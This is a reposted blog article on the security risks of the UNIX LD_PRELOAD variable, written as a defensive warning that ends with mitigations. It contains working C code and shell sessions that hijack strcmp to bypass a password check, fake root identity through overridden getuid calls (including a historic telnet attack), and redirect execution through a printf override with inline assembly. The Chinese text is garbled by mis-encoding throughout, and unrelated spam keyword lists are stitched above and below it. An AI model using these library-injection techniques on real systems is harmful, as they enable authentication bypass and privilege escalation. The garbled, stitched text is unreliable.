日韩久久久精品,亚洲精品久久久久久久久久久,亚洲欧美一区二区三区国产精品 ,一区二区福利

警惕UNIX下的LD_PRELOAD環(huán)境變量

系統(tǒng) 2948 0
?

警惕 UNIX 下的 LD_PRELOAD 環(huán)境變量

?

陳皓

?

前言

?

?????? 也許這個(gè)話題并不新鮮,因?yàn)? LD_PRELOAD 所產(chǎn)生的問(wèn)題由來(lái)已久。不過(guò),在這里,我還是想討論一下這個(gè)環(huán)境變量。因?yàn)檫@個(gè)環(huán)境變量所帶來(lái)的安全問(wèn)題非常嚴(yán)重,值得所有的 Unix 下的程序員的注意。

?

在開(kāi)始講述為什么要當(dāng)心 LD_PRELOAD 環(huán)境變量之前,請(qǐng)讓我先說(shuō)明一下程序的鏈接。所謂鏈接,也就是說(shuō)編譯器找到程序中所引用的函數(shù)或全局變量所存在的位置。一般來(lái)說(shuō),程序的鏈接分為靜態(tài)鏈接和動(dòng)態(tài)鏈接,靜態(tài)鏈接就是把所有所引用到的函數(shù)或變量全部地編譯到可執(zhí)行文件中。動(dòng)態(tài)鏈接則不會(huì)把函數(shù)編譯到可執(zhí)行文件中,而是在程序運(yùn)行時(shí)動(dòng)態(tài)地載入函數(shù)庫(kù),也就是運(yùn)行鏈接。所以,對(duì)于動(dòng)態(tài)鏈接來(lái)說(shuō),必然需要一個(gè)動(dòng)態(tài)鏈接庫(kù)。動(dòng)態(tài)鏈接庫(kù)的好處在于,一旦動(dòng)態(tài)庫(kù)中的函數(shù)發(fā)生變化,對(duì)于可執(zhí)行程序來(lái)說(shuō)是透明的,可執(zhí)行程序無(wú)需重新編譯。這對(duì)于程序的發(fā)布、維護(hù)、更新起到了積極的作用。對(duì)于靜態(tài)鏈接的程序來(lái)說(shuō),函數(shù)庫(kù)中一個(gè)小小的改動(dòng)需要整個(gè)程序的重新編譯、發(fā)布,對(duì)于程序的維護(hù)產(chǎn)生了比較大的工作量。

?

當(dāng)然,世界上沒(méi)有什么東西都是完美的,有好就有壞,有得就有失。動(dòng)態(tài)鏈接所帶來(lái)的壞處和其好處一樣同樣是巨大的。因?yàn)槌绦蛟谶\(yùn)行時(shí)動(dòng)態(tài)加載函數(shù),這也就為他人創(chuàng)造了可以影響你的主程序的機(jī)會(huì)。試想,一旦,你的程序動(dòng)態(tài)載入的函數(shù)不是你自己寫(xiě)的,而是載入了別人的有企圖的代碼,通過(guò)函數(shù)的返回值來(lái)控制你的程序的執(zhí)行流程,那么,你的程序也就被人“劫持”了。

?

LD_PRELOAD 簡(jiǎn)介

?

UNIX 的動(dòng)態(tài)鏈接庫(kù)的世界中, LD_PRELOAD 就是這樣一個(gè)環(huán)境變量,它可以影響程序的運(yùn)行時(shí)的鏈接( Runtime linker ),它允許你定義在程序運(yùn)行前優(yōu)先加載的動(dòng)態(tài)鏈接庫(kù)。這個(gè)功能主要就是用來(lái)有選擇性的載入不同動(dòng)態(tài)鏈接庫(kù)中的相同函數(shù)。通過(guò)這個(gè)環(huán)境變量,我們可以在主程序和其動(dòng)態(tài)鏈接庫(kù)的中間加載別的動(dòng)態(tài)鏈接庫(kù),甚至覆蓋正常的函數(shù)庫(kù)。一方面,我們可以以此功能來(lái)使用自己的或是更好的函數(shù)(無(wú)需別人的源碼),而另一方面,我們也可以以向別人的程序注入惡意程序,從而達(dá)到那不可告人的罪惡的目的。

?

我們知道, Linux 的用的都是 glibc ,有一個(gè)叫 libc.so.6 的文件,這是幾乎所有 Linux 下命令的動(dòng)態(tài)鏈接中,其中有標(biāo)準(zhǔn) C 的各種函數(shù)。對(duì)于 GCC 而言,默認(rèn)情況下,所編譯的程序中對(duì)標(biāo)準(zhǔn) C 函數(shù)的鏈接,都是通過(guò)動(dòng)態(tài)鏈接方式來(lái)鏈接 libc.so.6 這個(gè)函數(shù)庫(kù)的。

?

OK 。還是讓我用一個(gè)例子來(lái)看一下用 LD_PRELOAD 來(lái) hack 別人的程序。

?

示例一

?

我們寫(xiě)下面一段例程:

?

/* 文件名: verifypasswd.c */

/* 這是一段判斷用戶口令的程序,其中使用到了標(biāo)準(zhǔn) C 函數(shù) strcmp */

?

#include <stdio.h>

#include <string.h>

?

int main(int argc, char **argv)

{

?

char passwd[] = "password";

?

if (argc < 2) {

??????? printf("usage: %s <password>\n", argv[0]);

??????? return;

}

?

if (!strcmp(passwd, argv[1])) {

??????? printf("Correct Password!\n");

??????? return;

}

?

printf("Invalid Password!\n");

}

?

?

在上面這段程序中,我們使用了 strcmp 函數(shù)來(lái)判斷兩個(gè)字符串是否相等。下面,我們使用一個(gè)動(dòng)態(tài)函數(shù)庫(kù)來(lái)重載 strcmp 函數(shù):

?

/* 文件名: hack.c */

?

#include <stdio.h>

#include <string.h>

?

int strcmp(const char *s1, const char *s2)

{

??????? printf("hack function invoked. s1=<%s> s2=<%s>\n", s1, s2);

??????? / * 永遠(yuǎn)返回 0 ,表示兩個(gè)字符串相等 */

??????? return 0;

}

?

?

?

編譯程序:

$ gcc -o verifypasswd verifypasswd.c

$ gcc -shared -o hack.so hack.c

?

測(cè)試一下程序:(得到正確結(jié)果)

$ ./verifypasswd asdf

Invalid Password!

?

設(shè)置 LD_PRELOAD 變量:(使我們重寫(xiě)過(guò)的 strcmp 函數(shù)的 hack.so 成為優(yōu)先載入鏈接庫(kù))

?????? ? $ export LD_PRELOAD="./hack.so"

?

再次運(yùn)行程序:

$ ./verifypasswd ? asdf

hack function invoked. s1=<password> s2=<asdf>

Correct Password!

?

我們可以看到, 1 )我們的 hack.so 中的 strcmp 被調(diào)用了。 2 )主程序中運(yùn)行結(jié)果被影響了。如果這是一個(gè)系統(tǒng)登錄程序,那么這也就意味著我們用任意口令都可以進(jìn)入系統(tǒng)了。

?

示例二

?

讓我們?cè)賮?lái)一個(gè)示例(這個(gè)示例來(lái)源于我的工作)。這個(gè)軟件是一個(gè)分布式計(jì)算平臺(tái),軟件在所有的計(jì)算機(jī)上都有以 ROOT 身份運(yùn)行的偵聽(tīng)程序( Daemon ),用戶可以把的一程序從 A 計(jì)算機(jī)提交到 B 計(jì)算機(jī)上去運(yùn)行。這些 Daemon 會(huì)把用戶在 A 計(jì)算機(jī)上的所有環(huán)境變量帶到 B 計(jì)算機(jī)上,在 B 計(jì)算機(jī)上的 Daemon 會(huì) fork 出一個(gè)子進(jìn)程,并且 Daemon 會(huì)調(diào)用 seteuid setegid 來(lái)設(shè)置子程的執(zhí)行宿主,并在子進(jìn)程空間中設(shè)置從 A 計(jì)算機(jī)帶過(guò)來(lái)的環(huán)境變量,以仿真用戶的運(yùn)行環(huán)境。(注意: A B 都運(yùn)行在 NIS/NFS 方式上)

?

于是,我們可以寫(xiě)下這樣的動(dòng)態(tài)鏈接庫(kù):

?

/* 文件名: preload.c */

?

#include <dlfcn.h>

#include <unistd.h>

#include <sys/types.h>

?

uid_t geteuid( void ) { return 0; }

uid_t getuid( void ) { return 0; }

uid_t getgid( void ) { return 0; }

?

?

?????? 在這里我們可以看到,我們重載了系統(tǒng)調(diào)用。于是我們可以通過(guò)設(shè)置 LC_PRELOAD 來(lái)迫使主程序使用我們的 geteuid/getuid/getgid (它們都返回 0 ,也就是 Root 權(quán)限)。這會(huì)導(dǎo)致,上述的那個(gè)分布式計(jì)算平臺(tái)的軟件在提交端 A 計(jì)算機(jī)上調(diào)用了 geteuid 得到當(dāng)前用戶 ID 0 ,并把這個(gè)用戶 ID 傳到了執(zhí)行端 B 計(jì)算機(jī)上,于是 B 計(jì)算機(jī)上的 Daemon 就會(huì)調(diào)用 seteuid(0) ,導(dǎo)致我們的程序運(yùn)行在了 Root 權(quán)限之下。從而,用戶取得了超級(jí)用戶的權(quán)限而為所欲為。

?

?????? 上面的這個(gè) preload.c 文件也就早期的為人所熟知的 hack 程序了。惡意用戶通過(guò)在系統(tǒng)中設(shè)計(jì) LC_PRELOAD 環(huán)境變量來(lái)加載這個(gè)動(dòng)態(tài)鏈接庫(kù),會(huì)非常容易影響其它系統(tǒng)命令(如: /bin/sh, /bin/ls, /bin/rm 等),讓這些系統(tǒng)命令以 Root 權(quán)限運(yùn)行。

?

讓我們看一下這個(gè)函數(shù)是怎么影響系統(tǒng)命令的:

??????

$ id

uid=500(hchen) gid=10(wheel) groups=10(wheel)

$ gcc -shared -o preload.so preload.c

$ setenv LD_PRELOAD ./preload.so

$ id

uid=0(root) gid=0(root) egid=10(wheel) groups=10(wheel)

?????? $ whoami

root

$ /bin/sh

# ???????? <------ 你可以看到命令行提示符會(huì)由 $ 變成 #

??????

下面是一個(gè)曾經(jīng)非常著名的系統(tǒng)攻擊

$ telnet

telnet> env def LD_PRELOAD /home/hchen/test/preload.so

telnet> open localhost

#

?

?

當(dāng)然,這個(gè)安全 BUG 早已被 Fix 了(雖然,通過(guò) id 或是 whoami 或是 /bin/sh 讓你覺(jué)得你像是 root ,但其實(shí)你并沒(méi)有 root 的權(quán)限),當(dāng)今的 Unix 系統(tǒng)中不會(huì)出現(xiàn)這個(gè)的問(wèn)題。但這并不代表,我們自己寫(xiě)的程序,或是第三方的程序能夠避免這個(gè)問(wèn)題,尤其是那些以 Root 方式運(yùn)行的第三方程序。

?

所以,在我們編程時(shí),我們要隨時(shí)警惕著 LD_PRELOAD

?

?

如何避免

?

不可否認(rèn), LD_PRELOAD 是一個(gè)很難纏的問(wèn)題。目前來(lái)說(shuō),要解決這個(gè)問(wèn)題,只能想方設(shè)法讓 LD_PRELOAD 失效。目前而言,有以下面兩種方法可以讓 LD_PRELOAD 失效。

?

1) 通過(guò)靜態(tài)鏈接。使用 gcc -static 參數(shù)可以把 libc.so.6 靜態(tài)鏈入執(zhí)行程序中。但這也就意味著你的程序不再支持動(dòng)態(tài)鏈接。

?

2) 通過(guò)設(shè)置執(zhí)行文件的 setgid / setuid 標(biāo)志 。在有 SUID 權(quán)限的執(zhí)行文件,系統(tǒng)會(huì)忽略 LD_PRELOAD 環(huán)境變量。也就是說(shuō),如果你有以 root 方式運(yùn)行的程序,最好設(shè)置上 SUID 權(quán)限。(如: chmod 4755 daemon

?

在一些 UNIX 版本上,如果你想要使用 LD_PRELOAD 環(huán)境變量,你需要有 root 權(quán)限。但不管怎么說(shuō),這些個(gè)方法目前來(lái)看并不是一個(gè)徹底的解決方案,只是一個(gè) Workaround 的方法,是一種因噎廢食的做法,為了安全,只能禁用。

?

?

另一個(gè)示例

?

最后,讓我以一個(gè)更為“變態(tài)”的示例來(lái)結(jié)束這篇文章吧(這個(gè)示例來(lái)自某俄羅斯黑客)。看看我們還能用 LD_PRELOAD 來(lái)干點(diǎn)什么?下面這個(gè)程序 comp.c ,我們用來(lái)比較 a b ,很明顯, a b 不相等,所以,怎么運(yùn)行都是程序打出 Sorry ,然后退出。這個(gè)示例會(huì)告訴我們?nèi)绾斡? LD_PRELOAD 讓程序打印 OK

?

?

/* 源文件: comp.c ? 執(zhí)行文件: comp*/

?

#include <stdio.h>

?

int main(int argc, char **argv)

{

??????? int a = 1, b = 2;

?

??????? if (a != b) {

??????????????? printf("Sorry!\n");

????????????? ?? return 0;

??????? }

?

??????? printf("OK!\n");

??????? return 1;

}

?

?

我們先來(lái)用 GDB 來(lái)研究一下程序的反匯編。注意其中的紅色部分。那就是 if 語(yǔ)句。如果條件失敗,則會(huì)轉(zhuǎn)到 <main+75> 。當(dāng)然,用 LD_PRELOAD 無(wú)法影響表達(dá)式,其只能只能影響函數(shù)。于是,我們可以在 printf 上動(dòng)點(diǎn)歪腦筋。

?

(gdb) disassemble main

Dump of assembler code for function main:

0x08048368 <main+0>: ??? push ?? %ebp

0x08048369 <main+1>: ??? mov ??? %esp,%ebp

0x0804836b <main+3>: ??? sub ??? $0x18,%esp

0x0804836e <main+6>: ??? and ??? $0xfffffff0,%esp

0x08048371 <main+9>: ??? mov ??? $0x0,%eax

0x08048376 <main+14>: ?? add ??? $0xf,%eax

0x08048379 <main+17>: ?? add ??? $0xf,%eax

0x 0804837c <main+20>: ?? shr ??? $0x4,%eax

0x 0804837f <main+23>: ?? shl ??? $0x4,%eax

0x08048382 <main+26>: ?? sub ??? %eax,%esp

0x08048384 <main+28>: ?? movl ?? $0x1,0xfffffffc(%ebp)

0x0804838b <main+35>: ?? movl ?? $0x2,0xfffffff8(%ebp)

0x08048392 <main+42>: ?? mov ??? 0xfffffffc(%ebp),%eax

0x08048395 <main+45>: ?? cmp ??? 0xfffffff8(%ebp),%eax

0x08048398 <main+48>: ?? je ???? 0x80483b3 <main+75>

0x 0804839a <main+50>: ?? sub ??? $0xc,%esp

0x0804839d <main+53>: ?? push ?? $0x80484b0

0x 080483a 2 <main+58>: ?? call ?? 0x80482b0

0x 080483a 7 <main+63>: ?? add ??? $0x10,%esp

0x080483aa <main+66>: ?? movl ?? $0x0,0xfffffff4(%ebp)

0x080483b1 <main+73>: ?? jmp ??? 0x80483ca <main+98>

0x080483b3 <main+75>: ?? sub ??? $0xc,%esp

0x080483b6 <main+78>: ?? push ?? $0x80484b8

0x080483bb <main+83>: ?? call ?? 0x80482b0

0x 080483c 0 <main+88>: ?? add ??? $0x10,%esp

0x 080483c 3 <main+91>: ?? movl ?? $0x1,0xfffffff4(%ebp)

0x080483ca <main+98>: ?? mov ??? 0xfffffff4(%ebp),%eax

0x080483cd <main+101>: ? leave

0x080483ce <main+102>: ? ret

End of assembler dump.

?

?

下面是我們重載 printf so 文件。讓 printf 返回后的棧地址變成 <main+75> 。從而讓程序接著執(zhí)行。下面是 so 文件的源,都是讓人反感的匯編代碼。

?

#include <stdarg.h>

?

static int (*_printf)(const char *format, ...) = NULL;

?

int printf(const char *format, ...)

{

?

??? if (_printf == NULL) {

???????? /* 取得標(biāo)準(zhǔn)庫(kù)中的 printf 的函數(shù)地址 */

_printf = (int (*)(const char *format, ...)) dlsym(RTLD_NEXT, "printf");

?

???????? / * 把函數(shù)返回的地址置到 <main+ 75 > */

???????? __asm__ __volatile__ (

??????????????? "movl 0x4(%ebp), %eax \n"

??????????????? "addl $15, %eax \n"

??????????????? "movl %eax, 0x4(%ebp)"

???????? );

?

???????? return 1;

??? }

?

??? / * 重置 printf 的返回地址 */

??? __asm__ __volatile__ (

??????????? "addl $12, %%esp \n"

??????????? "jmp *%0 \n"

??????????????????? : /* no output registers */

??????????????????? : "g" (_printf)

???? ??????????????? : "%esp"

??? );

}

?

你可以在你的 Linux 下試試這段代碼。:)

?

?

( 轉(zhuǎn)載時(shí)請(qǐng)注明作者和出處。未經(jīng)許可,請(qǐng)勿用于商業(yè)用途 )

?

更多文章請(qǐng)?jiān)L問(wèn)我的 blog: ? http://blog.csdn.net/haoel ?

?



Trackback: http://tb.blog.csdn.net/TrackBack.aspx?PostId=1602108


警惕UNIX下的LD_PRELOAD環(huán)境變量


更多文章、技術(shù)交流、商務(wù)合作、聯(lián)系博主

微信掃碼或搜索:z360901061

微信掃一掃加我為好友

QQ號(hào)聯(lián)系: 360901061

您的支持是博主寫(xiě)作最大的動(dòng)力,如果您喜歡我的文章,感覺(jué)我的文章對(duì)您有幫助,請(qǐng)用微信掃描下面二維碼支持博主2元、5元、10元、20元等您想捐的金額吧,狠狠點(diǎn)擊下面給點(diǎn)支持吧,站長(zhǎng)非常感激您!手機(jī)微信長(zhǎng)按不能支付解決辦法:請(qǐng)將微信支付二維碼保存到相冊(cè),切換到微信,然后點(diǎn)擊微信右上角掃一掃功能,選擇支付二維碼完成支付。

【本文對(duì)您有幫助就好】

您的支持是博主寫(xiě)作最大的動(dòng)力,如果您喜歡我的文章,感覺(jué)我的文章對(duì)您有幫助,請(qǐng)用微信掃描上面二維碼支持博主2元、5元、10元、自定義金額等您想捐的金額吧,站長(zhǎng)會(huì)非常 感謝您的哦!!!

發(fā)表我的評(píng)論
最新評(píng)論 總共0條評(píng)論
主站蜘蛛池模板: 鄂伦春自治旗| 鹰潭市| 来安县| 盘锦市| 滁州市| 泰和县| 双牌县| 新郑市| 小金县| 余姚市| 五原县| 虎林市| 收藏| 滦平县| 建湖县| 霍林郭勒市| 铜陵市| 拉萨市| 东乌珠穆沁旗| 榆社县| 项城市| 广河县| 仪征市| 卢氏县| 米脂县| 宁河县| 抚州市| 临高县| 黄龙县| 定边县| 专栏| 沙湾县| 图片| 荥经县| 白银市| 马关县| 夹江县| 新郑市| 杂多县| 凤凰县| 开封县|